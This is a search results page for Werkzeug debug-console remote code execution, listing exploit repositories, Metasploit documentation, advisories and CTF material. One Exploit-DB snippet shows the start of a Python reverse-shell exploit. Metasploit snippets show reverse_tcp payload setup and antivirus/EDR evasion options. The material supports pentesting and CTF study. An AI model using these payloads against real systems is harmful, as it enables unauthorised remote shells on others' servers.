GitHub
github.com › its-arun › Werkzeug-Debug-RCE
GitHub - its-arun/Werkzeug-Debug-RCE: Python script for exploiting Werkzeug Debug RCE useful for CTF · GitHub
Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.
Author its-arun
Rapid7
rapid7.com › db › modules › exploit › multi › http › werkzeug_debug_rce
Pallete Projects Werkzeug Debugger Remote Code ...
June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.
Published Jun 28, 2015
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › werkzeug
Werkzeug / Flask Debug - HackTricks
2 days ago - If debug is active you could try to access to /console and gain RCE. ... There is also several exploits on the internet like this or one in metasploit.
GitHub
github.com › Sic4rio › RCE-Werkzeug-debugger
GitHub - Sic4rio/RCE-Werkzeug-debugger: (RCE) vulnerability in the Werkzeug debugger · GitHub
This repository contains an advanced Python 3 script to exploit a Remote Code Execution (RCE) vulnerability in the Werkzeug debugger (GHSA-2g68-c3qc-8985).
Author Sic4rio
Exploit-DB
exploit-db.com › exploits › 43905
Werkzeug - 'Debug Shell' Command Execution - Multiple remote Exploit
January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%
GitHub
github.com › Fare9 › PyWerkzeug-Debug-Command-Execution
GitHub - Fare9/PyWerkzeug-Debug-Command-Execution: python exploit for werkzeug debug shell command execution · GitHub
People would say it's based on MSF exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/werkzeug_debug_rce.rb), but as I couldn't understand at all this exploit, I did it my own exploit.
Starred by 10 users
Forked by 8 users
Languages Python
InfosecMatter
infosecmatter.com › home › metasploit module library
Werkzeug Debug Shell Command Execution - Metasploit - InfosecMatter
December 4, 2022 - Here is the full list of possible evasion options supported by the multi/http/werkzeug_debug_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.): msf6 exploit(multi/http/werkzeug_debug_rce) > show evasion Module evasion options: Name Current Setting Required Description ---- --------------- -------- ----------- HTTP::header_folding false no Enable folding of HTTP headers HTTP::method_random_case false no Use random casing for the HTTP method HTTP::method_random_invalid false no Use a random invalid, HTTP method for request HTTP::method_random_valid false no Use a
Snyk
security.snyk.io › snyk vulnerability database › pip › werkzeug
Werkzeug 2.0.2 vulnerabilities
Security vulnerabilities and package health score for pip package Werkzeug 2.0.2
Cisco Bug Search Tool
bst.cisco.com › quickview › bug › CSCwi63306
Vulnerabilities in werkzeug 2.2.2 (PreUpgradeValidator App)
June 3, 2025 - We cannot provide a description for this page right now
Veracode
sourceclear.com › vulnerability-database › security › directory-traversal › python › sid-20917
Directory Traversal Vulnerability in the werkzeug library | Veracode
werkzeug (werkzeug). werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.
Snyk
security.snyk.io › snyk vulnerability database › pip
werkzeug | Snyk
Security vulnerabilities and package health score for pip package werkzeug
Medium
medium.com › swlh › hacking-flask-applications-939eae4bffed
Hacking Flask Applications. Executing arbitrary commands using the… | by Vickie Li | The Startup | Medium
February 18, 2020 - Starting with Werkzeug 0.11 the debug console is protected by a PIN by default. If an incorrect PIN is entered too many times the server needs to be restarted. However, it is possible that the PIN has been disabled in the application. Once you’ve exposed the debugger console, standard RCE escalation techniques apply.
Exploit Notes
exploit-notes.hdks.org › exploit › web › framework › python › werkzeug-pentesting
Introduction - Exploit Notes
January 18, 2024 - git clone https://github.com/hdks-bug/exploitnotes.git cd exploitnotes python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt zensical serve
GitHub
github.com › rapid7 › metasploit-framework › blob › master › documentation › modules › exploit › multi › http › werkzeug_debug_rce.md
metasploit-framework/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md at master · rapid7/metasploit-framework
$ msfconsole -q msf > use exploit/multi/http/werkzeug_debug_rce [*] No payload configured, defaulting to python/meterpreter/reverse_tcp msf exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 RHOSTS => 192.168.23.5 msf exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 LHOST => 192.168.23.117 msf exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 VHOST => 127.0.0.1 msf exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04 MACADDRESS => 02:42:ac:12:00:04 msf exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2
Author rapid7
YouTube
youtube.com › watch
Reassembling Werkzeug's Pin - Getting RCE in HackTheBox Agile [Part 2] - YouTube
After showing how to enumerate and recover the pin in a HelloWorld app for part 1, this video will look at applying that to a HackTheBox machine, Agile, to r...
Published August 5, 2023
Cisco Bug Search Tool
bst.cisco.com › quickview › bug › CSCwj47311
Cisco Bug: CSCwj47311 - Vulnerabilities in werkzeug 2.0.2
December 4, 2025 - We cannot provide a description for this page right now
CVE Details
cvedetails.com › version › 1700845 › Palletsprojects-Werkzeug-2.3.7.html
Palletsprojects Werkzeug 2.3.7 security vulnerabilities, CVEs
Palletsprojects Werkzeug version 2.3.7 security vulnerabilities, CVEs, exploits, vulnerability statistics, CVSS scores and references